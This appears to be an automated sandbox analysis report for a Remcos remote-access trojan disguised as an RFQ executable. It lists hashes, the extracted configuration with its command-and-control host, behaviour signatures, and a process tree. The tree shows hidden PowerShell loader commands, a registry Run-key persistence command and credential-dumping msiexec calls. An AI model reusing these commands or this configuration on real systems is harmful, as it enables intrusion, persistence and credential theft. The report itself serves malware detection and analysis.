Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-11-2024 18:08

General

  • Target

    RFQ448903423_MAT.exe

  • Size

    738KB

  • MD5

    2e24786e3a50dddc9e8044942ed76557

  • SHA1

    fd17c905199eaa0933fb9b78b45ca0c4e87c787c

  • SHA256

    ccacb1863cfc340af0f45f145ac924ac57907cfadb199f8ba84c6429c43bba28

  • SHA512

    029375abc32bfd0495334a893682a31ccfeb2251b0d5c64f99cd2b6e6ce96eb10359fbf00b598279f6d5b896ee75da0f3a092f9de610be9b9c33ee23a4a040b3

  • SSDEEP

    12288:oyoqBI5daGf9SVr5Y91FmGe1C1scoGcZhAkFN2ZTyWy0ctqhm2V76:oyocI7aGf9mgjmPSsccAgN2ZT1HI2V76

Malware Config

Extracted

Family

remcos

Botnet

Clients

C2

windowthankyou.duckdns.org:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-0OEGFQ

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RFQ448903423_MAT.exe
    "C:\Users\Admin\AppData\Local\Temp\RFQ448903423_MAT.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2140
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Driftschef=Get-Content -raw 'C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Jumblement.Kar';$q=$Driftschef.SubString(51945,3);.$q($Driftschef)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:388
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:748
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indefeasibility" /t REG_EXPAND_SZ /d "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\Software\Belindas\').heikes;%Resections% ($Kolportage)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4664
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Indefeasibility" /t REG_EXPAND_SZ /d "%Resections% -windowstyle 1 $Kolportage=(gp -Path 'HKCU:\Software\Belindas\').heikes;%Resections% ($Kolportage)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:532
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mitggpcrzuhl"
          4⤵
            PID:1208
          • C:\Windows\SysWOW64\msiexec.exe
            C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mitggpcrzuhl"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1648
          • C:\Windows\SysWOW64\msiexec.exe
            C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\xdgzzhnlmczqqeae"
            4⤵
            • Accesses Microsoft Outlook accounts
            • System Location Discovery: System Language Discovery
            PID:4484
          • C:\Windows\SysWOW64\msiexec.exe
            C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zfmrazxnakrvsswiwqu"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1948

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mphk1ium.ca4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\mitggpcrzuhl

      Filesize

      4KB

      MD5

      17eece3240d08aa4811cf1007cfe2585

      SHA1

      6c10329f61455d1c96e041b6f89ee6260af3bd0f

      SHA256

      7cc0db44c7b23e4894fe11f0d8d84b2a82ad667eb1e3504192f3ba729f9a7903

      SHA512

      a7de8d6322410ec89f76c70a7159645e8913774f38b84aafeeeb9f90dc3b9aa74a0a280d0bb6674790c04a8ff2d059327f02ebfda6c4486778d53b7fc6da6370

    • C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Chervil.ure

      Filesize

      302KB

      MD5

      c8f1f656c0732cc614e4a40e8468e650

      SHA1

      08eab64c64cb602cd97f5c5db84c01024a3e1f9f

      SHA256

      ec76dcd52b9a58f6c0dd721f8ffe4de3351cdad95ba68d4b6d0b836fa2ac9c36

      SHA512

      653302a74ae261787a9a8ad836d6005b5f10c99a7bb10c2e9683ccc7945254c8e5a38d3730ae28eeaa11c5dd25ceec932514bd23c6a4ce71c69f76f79b27db0d

    • C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Jumblement.Kar

      Filesize

      50KB

      MD5

      5f22e57b55aa6e31d0606fa12e0ee584

      SHA1

      e83cf829d2d46ce8a16f117a437a32ad63c1173d

      SHA256

      0fd8188279b05a111878389f3fe41f48f28d27249560005ae6977b0e8fb137b2

      SHA512

      7c9ed6698e7e593597c92169c5ea97447b786439c09f33e26877852fae74dbdd8082c463baa3f5fefea9b3bb05014999389ec8f306e055ed5c99338fe0335900

    • memory/388-59-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-35-0x0000000008A30000-0x00000000090AA000-memory.dmp

      Filesize

      6.5MB

    • memory/388-14-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-26-0x0000000006350000-0x00000000063B6000-memory.dmp

      Filesize

      408KB

    • memory/388-25-0x0000000006240000-0x00000000062A6000-memory.dmp

      Filesize

      408KB

    • memory/388-27-0x00000000063C0000-0x0000000006714000-memory.dmp

      Filesize

      3.3MB

    • memory/388-29-0x0000000006750000-0x000000000679C000-memory.dmp

      Filesize

      304KB

    • memory/388-28-0x0000000006720000-0x000000000673E000-memory.dmp

      Filesize

      120KB

    • memory/388-30-0x00000000077B0000-0x0000000007846000-memory.dmp

      Filesize

      600KB

    • memory/388-32-0x0000000006C50000-0x0000000006C72000-memory.dmp

      Filesize

      136KB

    • memory/388-31-0x0000000006BE0000-0x0000000006BFA000-memory.dmp

      Filesize

      104KB

    • memory/388-33-0x0000000007E00000-0x00000000083A4000-memory.dmp

      Filesize

      5.6MB

    • memory/388-13-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-65-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-38-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-37-0x000000006FF30000-0x000000006FF7C000-memory.dmp

      Filesize

      304KB

    • memory/388-36-0x0000000007B50000-0x0000000007B82000-memory.dmp

      Filesize

      200KB

    • memory/388-39-0x0000000070090000-0x00000000703E4000-memory.dmp

      Filesize

      3.3MB

    • memory/388-49-0x0000000007B90000-0x0000000007BAE000-memory.dmp

      Filesize

      120KB

    • memory/388-50-0x0000000007BC0000-0x0000000007C63000-memory.dmp

      Filesize

      652KB

    • memory/388-51-0x0000000007CC0000-0x0000000007CCA000-memory.dmp

      Filesize

      40KB

    • memory/388-53-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-54-0x0000000007D30000-0x0000000007D54000-memory.dmp

      Filesize

      144KB

    • memory/388-55-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-52-0x0000000007D00000-0x0000000007D2A000-memory.dmp

      Filesize

      168KB

    • memory/388-56-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-58-0x0000000073AAE000-0x0000000073AAF000-memory.dmp

      Filesize

      4KB

    • memory/388-10-0x0000000073AAE000-0x0000000073AAF000-memory.dmp

      Filesize

      4KB

    • memory/388-60-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-12-0x0000000005AC0000-0x00000000060E8000-memory.dmp

      Filesize

      6.2MB

    • memory/388-62-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-63-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-15-0x0000000005750000-0x0000000005772000-memory.dmp

      Filesize

      136KB

    • memory/388-64-0x00000000090B0000-0x000000000A05F000-memory.dmp

      Filesize

      15.7MB

    • memory/388-66-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-67-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-68-0x0000000073AA0000-0x0000000074250000-memory.dmp

      Filesize

      7.7MB

    • memory/388-11-0x0000000003130000-0x0000000003166000-memory.dmp

      Filesize

      216KB

    • memory/748-102-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-100-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-95-0x000000001E8A0000-0x000000001E8B9000-memory.dmp

      Filesize

      100KB

    • memory/748-69-0x0000000002070000-0x000000000301F000-memory.dmp

      Filesize

      15.7MB

    • memory/748-105-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-103-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-91-0x000000001E8A0000-0x000000001E8B9000-memory.dmp

      Filesize

      100KB

    • memory/748-101-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-97-0x0000000002070000-0x000000000301F000-memory.dmp

      Filesize

      15.7MB

    • memory/748-99-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-98-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-106-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-70-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-96-0x0000000000E10000-0x0000000002064000-memory.dmp

      Filesize

      18.3MB

    • memory/748-94-0x000000001E8A0000-0x000000001E8B9000-memory.dmp

      Filesize

      100KB

    • memory/1648-75-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1648-78-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1648-80-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1648-83-0x0000000000400000-0x0000000000478000-memory.dmp

      Filesize

      480KB

    • memory/1948-77-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1948-84-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/1948-85-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

    • memory/4484-81-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/4484-76-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/4484-82-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB